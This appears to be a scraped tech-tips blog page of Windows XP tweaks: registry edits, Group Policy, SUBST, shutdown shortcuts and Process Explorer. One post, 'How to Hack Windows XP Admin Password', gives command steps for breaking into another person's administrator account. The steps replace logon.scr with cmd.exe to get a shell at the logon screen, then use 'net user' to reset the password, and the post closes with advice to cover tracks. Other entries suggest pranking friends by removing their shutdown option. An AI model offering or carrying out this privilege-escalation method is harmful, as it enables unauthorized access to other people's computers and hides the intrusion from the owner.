Windows Tips & Tricks

Tech Sparx -- Technological News Portal

2011-08-09T00:33:00.000-07:00

Latest Tech News --- Tech Sparx

Registry Hacking

2008-05-19T22:08:00.000-07:00

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

How to Hack Windows XP Admin Password

2008-05-19T22:06:00.000-07:00

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.

Have fun

P.S: Dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Creating logical drives on the fly

2008-04-10T21:27:00.000-07:00

If you have very deep directories (directories with many sub directories inside sub directories), you may find it easier to create a logical drive that points to the directory you want to work in. On the other hand, you may want to simply create aliases to existing drives for those programs looking for a particular drive. Whichever the reason you want to create a logical drive, you can do so using the SUBST command.

For example, to create an alias called D for your C drive, run following command from the "Command Prompt" (or the "DOS Prompt"):

SUBST D: C:\

To create a logical drive called E, that points to your C:\WORK directory:

SUBST E: C:\WORK

To delete the aliases or logical drives that you create using SUBST command, run SUBST with the drive name to delete and the parameter "/D"

SUBST D: /D

SUBST E: /D

Windows XP shutdown

2008-03-29T19:59:00.000-07:00

Windows XP shutdown can be slow from time to time. Windows XP contains all kinds of internal mechanisms that sometimes deliberately slow down your machine. The functions Shutdown, Restart and Switch User illustrate this clearly.

What happens when you shutdown your computer ?

First you need to click the Start button, then click the shutdown button. Windows takes you to a dialog where you need to - again - click shutdown ...

... and it's only then that the waiting starts.

What a pain !

Only few people know that Windows XP offers a powerful alternative that does the shutdown job in half the time. There is a power-restart and a power-switch-user as well.

A Windows XP shutdown icon on your desktop

Right-click an empty space on your desktop

Select the option "new shortcut"
Type "shutdown -s -t 0" (Exactly as shown here, but without the quotes. The last character in the command is a zero.)
Click next
Type a name for the shortcut (e.g. Fast shutdown) and click finish

Now you have a new icon on your desktop. Let's customize it some more.

Right-click the new icon and select properties.
In the dialog box that opens up, click change icon.
You may see a warning message that shutdown.exe contains no icons, just click ok if you see this
Choose a new icon

You are now ready to test your new Windows XP shutdown button. Make sure to close all applications and double-click your new icon to shutdown your computer.

Once the shutdown mechanism is started, there is only one way to stop your machine from going down. That's what the next part is all about.

An icon to stop the shutdown mechanism

Suppose that you double-click the power Windows XP shutdown icon and just a split second later you realize that there was one more thing you wanted to do before shutting down.

To create an anti-shutdown icon :

Right-click an empty space on your desktop
Select the option "new shortcut"
Type "shutdown -a" (Exactly as shown here, but without the quotes.)
Click next
Type a name for the shortcut (e.g. Anti shutdown) and click finish

You know now how to choose a better looking icon.

An icon to restart your computer fast

Create a new icon like the previous ones, but type "shutdown -r -t 0" in the "location of the item" box.

An icon to switch user fast

If you have enabled the Windows XP feature "Fast User Switching", you can create an additional icon to switch user FAST.

Right-click an empty space on your desktop
Select the option "new shortcut"
Type "rundll32.exe user32.dll LockWorkStation" (Exactly as shown here, but without the quotes. LockWorkStation is case-sensitive.)
Click next
Type a name for the shortcut (e.g. Switch User Fast) and click finish

This icon is so fast and handy and completely safe that I would recommend dragging it to your Quick Launch bar.

Deleting Files Blocked by a Program...

2008-03-29T19:01:00.000-07:00

Windows can, at times, point-blank refuse to delete a file that is supposedly in use. But you very well know that you have not opened the file in any program. The relentless problem needs to be solved to stop you from pilling your hair out.

The 'Process Explorer' helps you locate the blocking application and end the responsible process without much harassment. Yes, it sound similar to your Task Manager.
This free tools is available for download on http://download.sysinternals.com/Files/ProcessExplorer.zip. Unpack the zip archive and start the 'procexp.exe' without further installation. Open 'Find-Find Handle or DLL' to find the annoying application. Enter the file name displayed in the windows error message and click 'search'. You will now see the program which accesses this file in the 'Process' column. Select it and close the search dialog-the process is now selected in the main window too. Right-click on it and open the 'Kill Process' context command. This should lift the blockade on the file so that you can now select and delete in the windows Explorer as usual.
Process Explorer also has a performance monitor which is superior to that Windows own Task Manager (which has similar functions) in many ways. A small version of the performance monitor is visible in the Toolbar. Double click non it and a more detailed version will open for you to see.